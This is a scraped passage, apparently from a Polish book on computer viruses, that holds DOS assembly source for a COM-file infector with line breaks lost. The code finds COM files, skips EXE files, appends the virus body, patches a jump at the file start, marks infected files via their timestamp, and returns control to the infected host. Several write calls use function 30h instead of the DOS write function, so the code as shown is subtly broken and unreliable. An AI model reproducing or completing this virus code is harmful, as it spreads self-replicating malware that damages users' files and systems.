[ Pobierz całość w formacie PDF ]
.DTASize]; pobierz dlugosc plikucmp ax,64000 ; czy dlugosc = 3jb SzukajNastepnyPlik ; nie - szukaj nastepnegosub ax,3 ; odejmij dlugosc skoku E9 ?? ??mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skokumov cx,AtrArchive ; podaj nowy atrybut : Archivelea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmianymov ax,4301h ; funkcja DOS - zmien atrybutint 21h ; wywolaj funkcje DOSjc PrzywrocAtrybut ; gdy CF=1 to bladlea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytumov ax,3D02h ; funkcja DOS - otworz plik; do odczytu i zapisuint 21h ; wywolaj funkcje DOSjc PrzywrocAtrybut ; gdy CF=1, to bladxchg ax,bx ; przenies uchwyt pliku do BXmov cx,3 ; ilosc czytanych bajtowlea dx,[si+StareBajty] ; podaj dokad czytac 3 bajtymov ah,3Fh ; funkcja DOS - czytaj z plikuint 21h ; wywolaj funkcje DOSjc ZamknijPlik ; gdy CF=1, to bladmov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty plikucmp ax,'MZ' ; i sprawdz czy to nie EXEje ZamknijPlik ; gdy 'MZ', to plik EXE, powrotcmp ax,'ZM' ;je ZamknijPlik ; gdy 'ZM', to plik EXE, powrotxor cx,cx ; \ zeruj CX:DX zawierajacexor dx,dx ; / adres wzgledem konca plikumov ax,4202h ; funkcja DOS - zmien wskaznik; odczytu/zapisu na koniec plikuint 21h ; wywolaj funkcje DOSjc ZamknijPlik ; gdy CF=1, to bladmov cx,VirusDlug ; ilosc zapisanych bajtowlea dx,[si+103h] ; podaj skad zapisac wirusamov ah,30h ; funkcja DOS - zapisz do plikuint 21h ; wywolaj funkcje DOSjc ZamknijPlik ; gdy CF=1, to bladxor cx,cx ; \ zeruj CX:DX zawierajacexor dx,dx ; / adres wzgledem poczatku plikumov ax,4200h ; funkcja DOS - zmien wskaznik; odczytu/zapisu na poczatek plikuint 21h ; wywolaj funkcje DOSjc ZamknijPlik ; gdy CF=1, to bladmov cx,3 ; ilosc zapisanych bajtowlea dx,[si][Skok] ; podaj skad zapisac rozkaz skokumov ah,30h ; funkcja DOS - zapisz do plikuint 21h ; wywolaj funkcje DOSjc ZamknijPlik ; gdy CF=1, to bladmov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTAmov dx,VZnacznik ; zaznacz infekcje plikumov ax,5701h ; funkcja DOS - wpisz date,czasint 21h ; wywolaj funkcje DOSZamknijPlik:mov ah,3Eh ; funkcja DOS - zamknij plikint 21h ; wywolaj funkcje DOSPrzywrocAtrybut:mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmianymov ax,4301h ; funkcja DOS - zmien atrybutint 21hSzukajNastepnyPlik: ; poprzedni plik byl zarazonymov ah,4Fh ; funkcja DOS - szukaj innego; plik COMint 21h ; wywolaj funkcje DOSjnc KolejnyPlik ; gdy CF=1, to bladNieMaPlikuCOM:mov dx,80h ; przywroc pierwotne DTA=PSP:80hmov ah,1Ah ; funkcja DOS - ustaw nowe DTAint 21h ; wywolaj funkcje DOSBezInfekcji:mov ax,100h ; \ skocz na poczatek programujmp ax ; / do ofiaryMaskaCOM db '*
[ Pobierz całość w formacie PDF ]